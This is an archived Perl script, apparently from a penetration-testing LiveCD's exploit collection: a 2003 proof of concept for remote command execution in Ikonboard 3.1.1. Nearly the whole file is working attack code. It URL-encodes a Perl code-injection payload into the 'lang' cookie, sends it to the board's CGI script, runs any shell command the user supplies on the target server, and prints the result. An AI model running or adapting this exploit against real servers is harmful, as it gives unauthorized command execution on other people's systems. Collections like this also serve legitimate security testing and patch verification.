home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / ikonboard / ikon.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  83 lines

  1. #!/usr/bin/perl
  2. #
  3. #  Date: 5 May 2003
  4. #  Author: snooq [http://www.angelfire.com/linux/snooq/]
  5. #
  6. #  Ikonboard 3.1.1 Remote Command Execution PoC
  7. #  ============================================
  8. #  This bug was found by Nick Cleaton.
  9. #
  10. #  For more info and patch, go to:
  11. #  http://archives.neohapsis.com/archives/bugtraq/2003-04/0027.html
  12. #
  13. #  Use at your very own risk.
  14. #
  15. #  Greetz.. my team mates: JF, Nam, ET..
  16. #  And some new frens: Kader, Bufferoulis, Neil... ;)
  17. #
  18. use Socket;
  19. use FileHandle;
  20.  
  21. if ($ARGV[0] eq '') {
  22.     print "Usage: $0 <host> [cmd] [path]\n";
  23.     exit;
  24. }
  25.  
  26. my $port=80;
  27. my $host=$ARGV[0];
  28. my $addr=getaddr($ARGV[0]);
  29. my $cmd=$ARGV[1]?($ARGV[1]):"/bin/uname -a";
  30. my $path=$ARGV[2]?($ARGV[2]):"/cgi-bin/ikonboard.cgi";
  31. my $buff=URLEncode(".\0\" unless(1);"
  32.            ."print \"Content-type: text/plain\\r\\n\\r\\n\";"
  33.            ."print \"---BEGIN---\\n\".`$cmd`.\"\\n---END---\";exit;#");
  34.  
  35. socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
  36. connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";
  37.  
  38. SOCKET->autoflush();
  39.  
  40. print SOCKET "GET $path HTTP/1.1\r\n";
  41. print SOCKET "Host: $host\r\n";
  42. print SOCKET "Cookie: lang=$buff\r\n";
  43. print SOCKET "Connection: close\r\n\r\n";
  44. print "Ikonboard Exploit, by snooq [ jinyean\@hotmail.com ]\n\n";
  45.  
  46. while (<SOCKET>) {
  47.     if (/^---BEGIN---/) {
  48.         print "> $cmd\n";
  49.         while (<SOCKET>){
  50.             if (/^---END---/) { exit; }
  51.             print; 
  52.         } 
  53.     }
  54. }
  55.  
  56. print "$host seems not vulnerable.\n";
  57.  
  58. exit;
  59.  
  60. sub getaddr {
  61.     my $host=($_[0]);
  62.     my $n=$host;
  63.     $n=~tr/\.//d;
  64.  
  65.     if ($n=~m/\d+/) {
  66.         return pack('C4',split('\.',$host));
  67.     }
  68.     else {
  69.         return (gethostbyname($host))[4];
  70.     }
  71. }
  72.  
  73. # URLEncode routine, courtesy of Glenn Fleishman 
  74.  
  75. sub URLEncode {
  76.     my $theURL=$_[0];
  77.     $theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg;
  78.     return $theURL;
  79. }
  80.  
  81.  
  82.  
  83.